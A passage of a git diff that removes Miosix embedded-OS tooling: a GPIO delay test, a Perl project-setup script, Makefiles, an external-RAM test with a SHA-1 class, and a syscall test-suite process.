blah blah blah blah " - "blah blah blah blah blah blah blah blah blah blah blah " - "blah blah blah blah blah blah blah blah blah blah blah\n"); - } -} diff --git a/miosix/_tools/delay_test/delay_test.cpp b/miosix/_tools/delay_test/delay_test.cpp deleted file mode 100644 index 6f49cbc35..000000000 --- a/miosix/_tools/delay_test/delay_test.cpp +++ /dev/null @@ -1,62 +0,0 @@ -// This tool is meant to test delays using an oscilloscope connected to a GPIO -// of the chip. - -#include -#include "miosix.h" - -using namespace miosix; - -using out=Gpio; //Select a free GPIO depending on the board - -void tdus(int n) -{ - InterruptDisableLock dLock; - for(;;) - { - out::high(); - delayUs(n); - out::low(); - delayUs(n); - } -} - -void tdms(int n) -{ - InterruptDisableLock dLock; - for(;;) - { - out::high(); - delayMs(n); - out::low(); - delayMs(n); - } -} - -int main() -{ -// //STM32f1-specific: enable PLL freq to be output on PA8 -// using mco = Gpio; -// mco::mode(Mode::ALTERNATE); -// RCC->CFGR |= (0x7<<24); -// //STM32f?-specific: enable PLL freq to be output on PA8 -// using mco = Gpio; -// mco::speed(Speed::_100MHz); -// mco::mode(Mode::ALTERNATE); -// mco::alternateFunction(0); -// RCC->CFGR |= (0x3<<21); -// //ATSAM4L-specific: output RCFAST clock on PA2 -// SCIF->SCIF_GCCTRL[0].SCIF_GCCTRL = SCIF_GCCTRL_OSCSEL(5) | SCIF_GCCTRL_CEN; -// using gclk0 = Gpio; -// gclk0::mode(Mode::ALTERNATE); -// gclk0::alternateFunction('A'); -// //EFM32-specific: output HFCLK/2 clock on PA2 -// using clkOut0 = Gpio; -// clkOut0::mode(Mode::OUTPUT); -// CMU->CTRL |= CMU_CTRL_CLKOUTSEL0_HFCLK2; -// CMU->ROUTE |= CMU_ROUTE_CLKOUT0PEN; - int n; - out::mode(Mode::OUTPUT); - iprintf("Delay test\nEnter value in us\n"); - iscanf("%d",&n); - if(n>=1000) tdms(n/1000); else tdus(n); -} diff --git a/miosix/_tools/filesystems/CMakeLists.txt b/miosix/_tools/filesystems/CMakeLists.txt deleted file mode 100644 index 827ffa337..000000000 --- a/miosix/_tools/filesystems/CMakeLists.txt +++ /dev/null @@ -1,15 +0,0 @@ - -cmake_minimum_required(VERSION 3.5) -project(MIOSIX_FILESYSTEM_UTIL) - -set(CMAKE_BUILD_TYPE Release) -set(CMAKE_CXX_STANDARD 17) - -add_definitions(-UNDEBUG) - -include_directories(../../filesystem/romfs) # For romfs_types.h -include_directories(../../kernel) # For elf_types.h -add_executable(buildromfs buildromfs.cpp) - -# put binary in the same directory of the source code -set_target_properties(buildromfs PROPERTIES RUNTIME_OUTPUT_DIRECTORY "${CMAKE_SOURCE_DIR}") diff --git a/miosix/_tools/init_project_out_of_git_tree.pl b/miosix/_tools/init_project_out_of_git_tree.pl deleted file mode 100644 index 86d2c8408..000000000 --- a/miosix/_tools/init_project_out_of_git_tree.pl +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/perl - -# This script allows to replicate the content of the Miosix top level directory -# outside of the Miosix git repository, in order to write an application making -# use of Miosix without creating or altering any file in the Miosix git repo. -# This simplifies updating the kernel with git pull and allows to have the -# Miosix git repository as a submodule of another git repository. -# -# To use this script, open a shell in the directory where you want the -# project to be created and run -# perl /miosix/_tools/init_project_out_of_source_tree.pl - -use warnings; -use strict; -use Cwd qw(cwd abs_path); -use File::Copy; -use File::Copy::Recursive qw(dircopy); # apt install libfile-copy-recursive-perl -use File::Basename; -use File::Spec; - -# Target directory is where the script is launched from -my $target=cwd(); - -# Get the kernel top level directory from the script path. The script must be -# placed in the miosix/_tools subdirectory of the Miosix git repo -my $source=dirname(abs_path($0)); -die "Can't locate the kernel directory\n" unless($source =~ /(\\|\/)miosix(\\|\/)_tools$/); -$source =~ s/(\\|\/)miosix(\\|\/)_tools$//; -die "The project directory must be outside of the kernel tree\n" if(index($target,$source)==0); - -die "Error: file main.cpp already exists\n" if -e "main.cpp"; -die "Error: file Makefile already exists\n" if -e "Makefile"; -die "Error: directory config already exists\n" if -e "config"; - -# Copy the Makefile fixing the KPATH and CONFPATH lines. This is what makes -# building out the git tree possible -sub copy_and_fixup_makefile -{ - my ($in_name,$out_name)=@_; - open(my $in, '<', $in_name) or die; - open(my $out, '>', $out_name) or die; - # KPATH must contain the path to the kernel. Said path must be relative and - # in the unix format (i.e: with / as path separator, not \). This is - # because the generated Makefile may be put in a public git repository that - # has the miosix kernel as a submodule, and it would be bad to put an - # absolute path in a git repo, or a path that is only usable from windows - my $relpath=File::Spec->abs2rel($source,$target); - $relpath =~ s/\\/\//; # Force the use of / as path separator - while(<$in>) - { - s/^KPATH := miosix$/KPATH := $relpath\/miosix/; - s/^CONFPATH := \$\(KPATH\)$/CONFPATH := \./; - print $out "$_"; - } - close($in); - close($out); -} - -copy("$source/main.cpp","$target/main.cpp") or die; -copy_and_fixup_makefile("$source/Makefile","$target/Makefile"); -dircopy("$source/miosix/config","$target/config") or die; - -print "Successfully created Miosix project\n"; -print "Target directory: $target\n"; -print "Kernel directory: $source\n"; diff --git a/miosix/_tools/processes/process_template/Makefile b/miosix/_tools/processes/process_template/Makefile deleted file mode 100644 index 6b76fff79..000000000 --- a/miosix/_tools/processes/process_template/Makefile +++ /dev/null @@ -1,24 +0,0 @@ -## -## Makefile for writing processes for the Miosix embedded OS -## - -## KPATH and CONFPATH can be specified here or forwarded by the parent makefile -KPATH := ../../.. -CONFPATH := ../../.. -MAKEFILE_VERSION := 1.15 -include $(KPATH)/libsyscalls/Makefile.pcommon - -BIN := hello -SRC := main.cpp - -all: $(OBJ) - $(ECHO) "[LD ] $(BIN)" - $(Q)$(CXX) $(LFLAGS) -o $(BIN) $(OBJ) $(LINK_LIBS) - $(Q)$(SZ) $(BIN) - $(Q)$(STRIP) $(BIN) - $(Q)$(POSTLD) $(BIN) --ramsize=16384 --stacksize=2048 --strip-sectheader - -clean: - $(Q)rm -f $(OBJ) $(OBJ:.o=.d) $(BIN) $(notdir $(BIN)).map - --include $(OBJ:.o=.d) diff --git a/miosix/_tools/ram_test/main.cpp b/miosix/_tools/ram_test/main.cpp deleted file mode 100644 index 24963c8f3..000000000 --- a/miosix/_tools/ram_test/main.cpp +++ /dev/null @@ -1,78 +0,0 @@ - /*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -// RAM testing code -// Useful to test the external RAM of a board. - -#include -#include -#include -#include -#include "sha1.h" - -const unsigned int ramBase=0x60000000; //Tune this to the right value -const unsigned int ramSize=524288; //Tune this to the right value - -bool shaCmp(unsigned int a[5], unsigned int b[5]) -{ - if(memcmp(a,b,20)==0) return false; - iprintf("Mismatch\n"); - for(int i=0;i<5;i++) iprintf("%04x",a[i]); iprintf("\n"); - for(int i=0;i<5;i++) iprintf("%04x",b[i]); iprintf("\n"); - return true; -} - -template bool ramTest() -{ - SHA1 sha; - sha.Reset(); - srand(0x7ad3c099*sizeof(T)); //Just to shuffle initialization between tests - for(unsigned int i=ramBase;i(i); - T v=static_cast(rand()); - *p=v; - sha.Input(reinterpret_cast(&v),sizeof(T)); - } - unsigned int a[5]; - sha.Result(a); - sleep(10); //To check SDRAM retention ability - sha.Reset(); - for(unsigned int i=ramBase;i(i); - T v=*p; - sha.Input(reinterpret_cast(&v),sizeof(T)); - } - unsigned int b[5]; - sha.Result(b); - return shaCmp(a,b); -} - -int main() -{ - for(;;) - { - iprintf("RAM test\nTesting word size transfers\n"); - if(ramTest()) return 1; - iprintf("Testing halfword size transfers\n"); - if(ramTest()) return 1; - iprintf("Testing byte size transfers\n"); - if(ramTest()) return 1; - iprintf("Ok\n"); - } -} diff --git a/miosix/_tools/ram_test/sha1.cpp b/miosix/_tools/ram_test/sha1.cpp deleted file mode 100644 index 19564c706..000000000 --- a/miosix/_tools/ram_test/sha1.cpp +++ /dev/null @@ -1,601 +0,0 @@ -/* - * sha1.cpp - * - * Copyright (C) 1998, 2009 - * Paul E. Jones - * All Rights Reserved. - * - * Freeware Public License (FPL) - * - * This software is licensed as "freeware." Permission to distribute - * this software in source and binary forms, including incorporation - * into other products, is hereby granted without a fee. THIS SOFTWARE - * IS PROVIDED 'AS IS' AND WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, - * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY - * AND FITNESS FOR A PARTICULAR PURPOSE. THE AUTHOR SHALL NOT BE HELD - * LIABLE FOR ANY DAMAGES RESULTING FROM THE USE OF THIS SOFTWARE, EITHER - * DIRECTLY OR INDIRECTLY, INCLUDING, BUT NOT LIMITED TO, LOSS OF DATA - * OR DATA BEING RENDERED INACCURATE. - * - ***************************************************************************** - * $Id: sha1.cpp 12 2009-06-22 19:34:25Z paulej $ - ***************************************************************************** - * - * Description: - * This class implements the Secure Hashing Standard as defined - * in FIPS PUB 180-1 published April 17, 1995. - * - * The Secure Hashing Standard, which uses the Secure Hashing - * Algorithm (SHA), produces a 160-bit message digest for a - * given data stream. In theory, it is highly improbable that - * two messages will produce the same message digest. Therefore, - * this algorithm can serve as a means of providing a "fingerprint" - * for a message. - * - * Portability Issues: - * SHA-1 is defined in terms of 32-bit "words". This code was - * written with the expectation that the processor has at least - * a 32-bit machine word size. If the machine word size is larger, - * the code should still function properly. One caveat to that - * is that the input functions taking characters and character arrays - * assume that only 8 bits of information are stored in each character. - * - * Caveats: - * SHA-1 is designed to work with messages less than 2^64 bits long. - * Although SHA-1 allows a message digest to be generated for - * messages of any number of bits less than 2^64, this implementation - * only works with messages with a length that is a multiple of 8 - * bits. - * - */ - - -#include "sha1.h" - -/* - * SHA1 - * - * Description: - * This is the constructor for the sha1 class. - * - * Parameters: - * None. - * - * Returns: - * Nothing. - * - * Comments: - * - */ -SHA1::SHA1() -{ - Reset(); -} - -/* - * ~SHA1 - * - * Description: - * This is the destructor for the sha1 class - * - * Parameters: - * None. - * - * Returns: - * Nothing. - * - * Comments: - * - */ -SHA1::~SHA1() -{ - // The destructor does nothing -} - -/* - * Reset - * - * Description: - * This function will initialize the sha1 class member variables - * in preparation for computing a new message digest. - * - * Parameters: - * None. - * - * Returns: - * Nothing. - * - * Comments: - * - */ -void SHA1::Reset() -{ - Length_Low = 0; - Length_High = 0; - Message_Block_Index = 0; - - H[0] = 0x67452301; - H[1] = 0xEFCDAB89; - H[2] = 0x98BADCFE; - H[3] = 0x10325476; - H[4] = 0xC3D2E1F0; - - Computed = false; - Corrupted = false; -} - -/* - * Result - * - * Description: - * This function will return the 160-bit message digest into the - * array provided. - * - * Parameters: - * message_digest_array: [out] - * This is an array of five unsigned integers which will be filled - * with the message digest that has been computed. - * - * Returns: - * True if successful, false if it failed. - * - * Comments: - * - */ -bool SHA1::Result(unsigned *message_digest_array) -{ - int i; // Counter - - if (Corrupted) - { - return false; - } - - if (!Computed) - { - PadMessage(); - Computed = true; - } - - for(i = 0; i < 5; i++) - { - message_digest_array[i] = H[i]; - } - - return true; -} - -/* - * Input - * - * Description: - * This function accepts an array of octets as the next portion of - * the message. - * - * Parameters: - * message_array: [in] - * An array of characters representing the next portion of the - * message. - * - * Returns: - * Nothing. - * - * Comments: - * - */ -void SHA1::Input( const unsigned char *message_array, - unsigned length) -{ - if (!length) - { - return; - } - - if (Computed || Corrupted) - { - Corrupted = true; - return; - } - - while(length-- && !Corrupted) - { - Message_Block[Message_Block_Index++] = (*message_array & 0xFF); - - Length_Low += 8; - Length_Low &= 0xFFFFFFFF; // Force it to 32 bits - if (Length_Low == 0) - { - Length_High++; - Length_High &= 0xFFFFFFFF; // Force it to 32 bits - if (Length_High == 0) - { - Corrupted = true; // Message is too long - } - } - - if (Message_Block_Index == 64) - { - ProcessMessageBlock(); - } - - message_array++; - } -} - -/* - * Input - * - * Description: - * This function accepts an array of octets as the next portion of - * the message. - * - * Parameters: - * message_array: [in] - * An array of characters representing the next portion of the - * message. - * length: [in] - * The length of the message_array - * - * Returns: - * Nothing. - * - * Comments: - * - */ -void SHA1::Input( const char *message_array, - unsigned length) -{ - Input((unsigned char *) message_array, length); -} - -/* - * Input - * - * Description: - * This function accepts a single octets as the next message element. - * - * Parameters: - * message_element: [in] - * The next octet in the message. - * - * Returns: - * Nothing. - * - * Comments: - * - */ -void SHA1::Input(unsigned char message_element) -{ - Input(&message_element, 1); -} - -/* - * Input - * - * Description: - * This function accepts a single octet as the next message element. - * - * Parameters: - * message_element: [in] - * The next octet in the message. - * - * Returns: - * Nothing. - * - * Comments: - * - */ -void SHA1::Input(char message_element) -{ - Input((unsigned char *) &message_element, 1); -} - -/* - * operator<< - * - * Description: - * This operator makes it convenient to provide character strings to - * the SHA1 object for processing. - * - * Parameters: - * message_array: [in] - * The character array to take as input. - * - * Returns: - * A reference to the SHA1 object. - * - * Comments: - * Each character is assumed to hold 8 bits of information. - * - */ -SHA1& SHA1::operator<<(const char *message_array) -{ - const char *p = message_array; - - while(*p) - { - Input(*p); - p++; - } - - return *this; -} - -/* - * operator<< - * - * Description: - * This operator makes it convenient to provide character strings to - * the SHA1 object for processing. - * - * Parameters: - * message_array: [in] - * The character array to take as input. - * - * Returns: - * A reference to the SHA1 object. - * - * Comments: - * Each character is assumed to hold 8 bits of information. - * - */ -SHA1& SHA1::operator<<(const unsigned char *message_array) -{ - const unsigned char *p = message_array; - - while(*p) - { - Input(*p); - p++; - } - - return *this; -} - -/* - * operator<< - * - * Description: - * This function provides the next octet in the message. - * - * Parameters: - * message_element: [in] - * The next octet in the message - * - * Returns: - * A reference to the SHA1 object. - * - * Comments: - * The character is assumed to hold 8 bits of information. - * - */ -SHA1& SHA1::operator<<(const char message_element) -{ - Input((unsigned char *) &message_element, 1); - - return *this; -} - -/* - * operator<< - * - * Description: - * This function provides the next octet in the message. - * - * Parameters: - * message_element: [in] - * The next octet in the message - * - * Returns: - * A reference to the SHA1 object. - * - * Comments: - * The character is assumed to hold 8 bits of information. - * - */ -SHA1& SHA1::operator<<(const unsigned char message_element) -{ - Input(&message_element, 1); - - return *this; -} - -/* - * ProcessMessageBlock - * - * Description: - * This function will process the next 512 bits of the message - * stored in the Message_Block array. - * - * Parameters: - * None. - * - * Returns: - * Nothing. - * - * Comments: - * Many of the variable names in this function, especially the single - * character names, were used because those were the names used - * in the publication. - * - */ -void SHA1::ProcessMessageBlock() -{ - const unsigned K[] = { // Constants defined for SHA-1 - 0x5A827999, - 0x6ED9EBA1, - 0x8F1BBCDC, - 0xCA62C1D6 - }; - int t; // Loop counter - unsigned temp; // Temporary word value - unsigned W[80]; // Word sequence - unsigned A, B, C, D, E; // Word buffers - - /* - * Initialize the first 16 words in the array W - */ - for(t = 0; t < 16; t++) - { - W[t] = ((unsigned) Message_Block[t * 4]) << 24; - W[t] |= ((unsigned) Message_Block[t * 4 + 1]) << 16; - W[t] |= ((unsigned) Message_Block[t * 4 + 2]) << 8; - W[t] |= ((unsigned) Message_Block[t * 4 + 3]); - } - - for(t = 16; t < 80; t++) - { - W[t] = CircularShift(1,W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]); - } - - A = H[0]; - B = H[1]; - C = H[2]; - D = H[3]; - E = H[4]; - - for(t = 0; t < 20; t++) - { - temp = CircularShift(5,A) + ((B & C) | ((~B) & D)) + E + W[t] + K[0]; - temp &= 0xFFFFFFFF; - E = D; - D = C; - C = CircularShift(30,B); - B = A; - A = temp; - } - - for(t = 20; t < 40; t++) - { - temp = CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[1]; - temp &= 0xFFFFFFFF; - E = D; - D = C; - C = CircularShift(30,B); - B = A; - A = temp; - } - - for(t = 40; t < 60; t++) - { - temp = CircularShift(5,A) + - ((B & C) | (B & D) | (C & D)) + E + W[t] + K[2]; - temp &= 0xFFFFFFFF; - E = D; - D = C; - C = CircularShift(30,B); - B = A; - A = temp; - } - - for(t = 60; t < 80; t++) - { - temp = CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[3]; - temp &= 0xFFFFFFFF; - E = D; - D = C; - C = CircularShift(30,B); - B = A; - A = temp; - } - - H[0] = (H[0] + A) & 0xFFFFFFFF; - H[1] = (H[1] + B) & 0xFFFFFFFF; - H[2] = (H[2] + C) & 0xFFFFFFFF; - H[3] = (H[3] + D) & 0xFFFFFFFF; - H[4] = (H[4] + E) & 0xFFFFFFFF; - - Message_Block_Index = 0; -} - -/* - * PadMessage - * - * Description: - * According to the standard, the message must be padded to an even - * 512 bits. The first padding bit must be a '1'. The last 64 bits - * represent the length of the original message. All bits in between - * should be 0. This function will pad the message according to those - * rules by filling the message_block array accordingly. It will also - * call ProcessMessageBlock() appropriately. When it returns, it - * can be assumed that the message digest has been computed. - * - * Parameters: - * None. - * - * Returns: - * Nothing. - * - * Comments: - * - */ -void SHA1::PadMessage() -{ - /* - * Check to see if the current message block is too small to hold - * the initial padding bits and length. If so, we will pad the - * block, process it, and then continue padding into a second block. - */ - if (Message_Block_Index > 55) - { - Message_Block[Message_Block_Index++] = 0x80; - while(Message_Block_Index < 64) - { - Message_Block[Message_Block_Index++] = 0; - } - - ProcessMessageBlock(); - - while(Message_Block_Index < 56) - { - Message_Block[Message_Block_Index++] = 0; - } - } - else - { - Message_Block[Message_Block_Index++] = 0x80; - while(Message_Block_Index < 56) - { - Message_Block[Message_Block_Index++] = 0; - } - - } - - /* - * Store the message length as the last 8 octets - */ - Message_Block[56] = (Length_High >> 24) & 0xFF; - Message_Block[57] = (Length_High >> 16) & 0xFF; - Message_Block[58] = (Length_High >> 8) & 0xFF; - Message_Block[59] = (Length_High) & 0xFF; - Message_Block[60] = (Length_Low >> 24) & 0xFF; - Message_Block[61] = (Length_Low >> 16) & 0xFF; - Message_Block[62] = (Length_Low >> 8) & 0xFF; - Message_Block[63] = (Length_Low) & 0xFF; - - ProcessMessageBlock(); -} - - -/* - * CircularShift - * - * Description: - * This member function will perform a circular shifting operation. - * - * Parameters: - * bits: [in] - * The number of bits to shift (1-31) - * word: [in] - * The value to shift (assumes a 32-bit integer) - * - * Returns: - * The shifted value. - * - * Comments: - * - */ -unsigned SHA1::CircularShift(int bits, unsigned word) -{ - return ((word << bits) & 0xFFFFFFFF) | ((word & 0xFFFFFFFF) >> (32-bits)); -} diff --git a/miosix/_tools/ram_test/sha1.h b/miosix/_tools/ram_test/sha1.h deleted file mode 100644 index 130e7c4a9..000000000 --- a/miosix/_tools/ram_test/sha1.h +++ /dev/null @@ -1,128 +0,0 @@ -/* - * sha1.h - * - * Copyright (C) 1998, 2009 - * Paul E. Jones - * All Rights Reserved. - * - * Freeware Public License (FPL) - * - * This software is licensed as "freeware." Permission to distribute - * this software in source and binary forms, including incorporation - * into other products, is hereby granted without a fee. THIS SOFTWARE - * IS PROVIDED 'AS IS' AND WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, - * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY - * AND FITNESS FOR A PARTICULAR PURPOSE. THE AUTHOR SHALL NOT BE HELD - * LIABLE FOR ANY DAMAGES RESULTING FROM THE USE OF THIS SOFTWARE, EITHER - * DIRECTLY OR INDIRECTLY, INCLUDING, BUT NOT LIMITED TO, LOSS OF DATA - * OR DATA BEING RENDERED INACCURATE. - * - ***************************************************************************** - * $Id: sha1.h 12 2009-06-22 19:34:25Z paulej $ - ***************************************************************************** - * - * Description: - * This class implements the Secure Hashing Standard as defined - * in FIPS PUB 180-1 published April 17, 1995. - * - * Many of the variable names in this class, especially the single - * character names, were used because those were the names used - * in the publication. - * - * Please read the file sha1.cpp for more information. - * - */ - -#ifndef _SHA1_H_ -#define _SHA1_H_ - -class SHA1 -{ - - public: - - SHA1(); - virtual ~SHA1(); - - /* - * Re-initialize the class - */ - void Reset(); - - /* - * Returns the message digest - */ - bool Result(unsigned *message_digest_array); - - /* - * Provide input to SHA1 - */ - void Input( const unsigned char *message_array, - unsigned length); - void Input( const char *message_array, - unsigned length); - void Input(unsigned char message_element); - void Input(char message_element); - SHA1& operator<<(const char *message_array); - SHA1& operator<<(const unsigned char *message_array); - SHA1& operator<<(const char message_element); - SHA1& operator<<(const unsigned char message_element); - - private: - - /* - * Process the next 512 bits of the message - */ - void ProcessMessageBlock(); - - /* - * Pads the current message block to 512 bits - */ - void PadMessage(); - - /* - * Performs a circular left shift operation - */ - inline unsigned CircularShift(int bits, unsigned word); - - unsigned H[5]; // Message digest buffers - - unsigned Length_Low; // Message length in bits - unsigned Length_High; // Message length in bits - - unsigned char Message_Block[64]; // 512-bit message blocks - int Message_Block_Index; // Index into message block array - - bool Computed; // Is the digest computed? - bool Corrupted; // Is the message digest corruped? - -}; - -// Added by TFT -- begin -#include -#include - -const int sha1size=20; - -inline std::string sha1(const std::string& message) -{ - SHA1 hash; - hash.Input(message.c_str(),message.length()); - unsigned int r[sha1size/4]; - hash.Result(r); - char resultstr[2*sha1size+1]; - std::sprintf(resultstr,"%04x%04x%04x%04x%04x",r[0],r[1],r[2],r[3],r[4]); - return std::string(resultstr); -} - -inline void sha1binary(const std::string& message, unsigned char digest[sha1size]) -{ - SHA1 hash; - hash.Input(message.c_str(),message.length()); - unsigned int r[sha1size/4]; - hash.Result(r); - for(int i=0;i> 8*(3-i%4)) & 0xff; -} -// Added by TFT -- end - -#endif diff --git a/miosix/_tools/testsuite/.gitignore b/miosix/_tools/testsuite/.gitignore deleted file mode 100644 index 5290abf23..000000000 --- a/miosix/_tools/testsuite/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -testsuite_romfs/test_process -testsuite_romfs/test_execve -testsuite_romfs/test_global_dtor_ctor -*.map diff --git a/miosix/_tools/testsuite/Makefile b/miosix/_tools/testsuite/Makefile deleted file mode 100644 index 8eacf78a2..000000000 --- a/miosix/_tools/testsuite/Makefile +++ /dev/null @@ -1,53 +0,0 @@ -## -## Makefile for Miosix embedded OS -## - -## Path to kernel/config directories (edited by init_project_out_of_git_repo.pl) -KPATH := ../.. -CONFPATH := ../.. -MAKEFILE_VERSION := 1.15 -include $(KPATH)/Makefile.kcommon - -## -## List here your source files (both .s, .c and .cpp) -## -SRC := testsuite.cpp - -## -## List here additional include directories (in the form -Iinclude_dir) -## -INCLUDE_DIRS := - -## -## List here additional static libraries with relative path -## -LIBS := - -## -## List here subdirectories which contains makefiles -## -# Only build processes if the architecture supports them -ifneq ($(POSTLD),) -SUBDIRS += test_process test_execve test_global_dtor_ctor -endif - -## -## Attach a romfs filesystem image after the kernel -## -ROMFS_DIR := testsuite_romfs - -all: $(if $(ROMFS_DIR), image, main) - -main: $(OBJ) all-recursive - $(ECHO) "[LD ] main.elf" - $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) - $(ECHO) "[CP ] main.hex" - $(Q)$(CP) -O ihex main.elf main.hex - $(ECHO) "[CP ] main.bin" - $(Q)$(CP) -O binary main.elf main.bin - $(Q)$(SZ) main.elf - -clean: clean-recursive - $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map - --include $(OBJ:.o=.d) diff --git a/miosix/_tools/testsuite/test_execve/Makefile b/miosix/_tools/testsuite/test_execve/Makefile deleted file mode 100644 index 40a099e51..000000000 --- a/miosix/_tools/testsuite/test_execve/Makefile +++ /dev/null @@ -1,22 +0,0 @@ -## -## Makefile for writing processes for the Miosix embedded OS -## - -## KPATH and CONFPATH can be specified here or forwarded by the parent makefile -MAKEFILE_VERSION := 1.15 -include $(KPATH)/libsyscalls/Makefile.pcommon - -BIN := ../testsuite_romfs/test_execve -SRC := main.cpp - -all: $(OBJ) - $(ECHO) "[LD ] $(BIN)" - $(Q)$(CXX) $(LFLAGS) -o $(BIN) $(OBJ) $(LINK_LIBS) - $(Q)$(SZ) $(BIN) - $(Q)$(STRIP) $(BIN) - $(Q)$(POSTLD) $(BIN) --ramsize=16384 --stacksize=2048 --strip-sectheader - -clean: - -rm -f $(OBJ) $(OBJ:.o=.d) $(BIN) $(notdir $(BIN)).map - --include $(OBJ:.o=.d) diff --git a/miosix/_tools/testsuite/test_global_dtor_ctor/Makefile b/miosix/_tools/testsuite/test_global_dtor_ctor/Makefile deleted file mode 100644 index 286f8075a..000000000 --- a/miosix/_tools/testsuite/test_global_dtor_ctor/Makefile +++ /dev/null @@ -1,22 +0,0 @@ -## -## Makefile for writing processes for the Miosix embedded OS -## - -## KPATH and CONFPATH can be specified here or forwarded by the parent makefile -MAKEFILE_VERSION := 1.15 -include $(KPATH)/libsyscalls/Makefile.pcommon - -BIN := ../testsuite_romfs/test_global_dtor_ctor -SRC := main.cpp - -all: $(OBJ) - $(ECHO) "[LD ] $(BIN)" - $(Q)$(CXX) $(LFLAGS) -o $(BIN) $(OBJ) $(LINK_LIBS) - $(Q)$(SZ) $(BIN) - $(Q)$(STRIP) $(BIN) - $(Q)$(POSTLD) $(BIN) --ramsize=16384 --stacksize=2048 --strip-sectheader - -clean: - -rm -f $(OBJ) $(OBJ:.o=.d) $(BIN) $(notdir $(BIN)).map - --include $(OBJ:.o=.d) diff --git a/miosix/_tools/testsuite/test_process/Makefile b/miosix/_tools/testsuite/test_process/Makefile deleted file mode 100644 index aa2549d74..000000000 --- a/miosix/_tools/testsuite/test_process/Makefile +++ /dev/null @@ -1,22 +0,0 @@ -## -## Makefile for writing processes for the Miosix embedded OS -## - -## KPATH and CONFPATH can be specified here or forwarded by the parent makefile -MAKEFILE_VERSION := 1.15 -include $(KPATH)/libsyscalls/Makefile.pcommon - -BIN := ../testsuite_romfs/test_process -SRC := main.cpp - -all: $(OBJ) - $(ECHO) "[LD ] $(BIN)" - $(Q)$(CXX) $(LFLAGS) -o $(BIN) $(OBJ) $(LINK_LIBS) - $(Q)$(SZ) $(BIN) - $(Q)$(STRIP) $(BIN) - $(Q)$(POSTLD) $(BIN) --ramsize=16384 --stacksize=2048 --strip-sectheader - -clean: - -rm -f $(OBJ) $(OBJ:.o=.d) $(BIN) $(notdir $(BIN)).map - --include $(OBJ:.o=.d) diff --git a/miosix/_tools/testsuite/test_process/main.cpp b/miosix/_tools/testsuite/test_process/main.cpp deleted file mode 100644 index eba079429..000000000 --- a/miosix/_tools/testsuite/test_process/main.cpp +++ /dev/null @@ -1,157 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include -#include -#include -#include - -using namespace std; - -extern char **environ; - -// Processes implies filesystem & DevFs -#define WITH_FILESYSTEM -#define WITH_DEVFS -#define WITH_PROCESSES -// Define for tests to distinguish whether we are compiling in a process -#define IN_PROCESS - -//Functions common to all tests -static void test_name(const char *name); -static void pass(); -static void fail(const char *cause); - -// Syscalls tests (shared with kercalls) -#include "../test_syscalls.h" - -static int sys_test_getpid_child(int argc, char *argv[]); - -int main(int argc, char *argv[], char *envp[]) -{ - if(argc == 0) return 1; - else if(argc == 1) test_syscalls(); - else if(argc == 2) - { - if(strcmp("sys_test_getpid_child", argv[1])==0) - return sys_test_getpid_child(argc, argv); - if(strcmp("exit_123", argv[1])==0) - exit(123); - if(strcmp("sleep_and_exit_234", argv[1])==0) - { - sleep(1); - exit(234); - } - if(strcmp("environ_check", argv[1])==0) - { - if(environ!=envp) return 1; - if(environ[0]==nullptr) return 1; - if(environ[1]!=nullptr) return 1; - if(strcmp(environ[0],"TEST=test")!=0) return 1; - return 0; - } - if(strcmp("execve", argv[1])==0) - { - // For some weird reason, execve signature allows the pointers to - // be constant but not the strings. - char arg_path[]="/bin/test_execve"; - char env_entry[]="TEST_ENVP=test"; - char *arg[] = { arg_path, nullptr }; - char *env[] = { env_entry, nullptr }; - execve(arg[0],arg,env); - return 99; - } - if(strcmp("sigsegv", argv[1])==0) - { - uint32_t *ptr=nullptr; - // Fool the compiler in believing the ptr may not be null - // If we don't do this, the compiler is allowed to consider this - // code to always have undefined behavior and transform it to - // something we don't want (clang is known to pull this kind of - // tricks) - asm volatile("":"+r"(ptr)::); - *ptr=12345; - } - } - else return 1; - return 0; -} - -/** - * Called @ the beginning of a test - * \param name test name - */ -static void test_name(const char *name) -{ - iprintf("Testing %s...\n",name); -} - -/** - * Called @ the end of a successful test - */ -static void pass() -{ - iprintf("Ok.\n"); -} - -/** - * Called if a test fails - * \param cause cause of the failure - */ -static void fail(const char *cause) -{ - //Can't use iprintf here because fail() may be used in threads - //with 256 bytes of stack, and iprintf may cause stack overflow - write(STDOUT_FILENO,"Failed:\n",8); - write(STDOUT_FILENO,cause,strlen(cause)); - write(STDOUT_FILENO,"\n",1); - exit(1); -} - -/** - * 16 bit ccitt crc calculation - * \param crc The first time the function is called, pass 0xffff, all the other - * 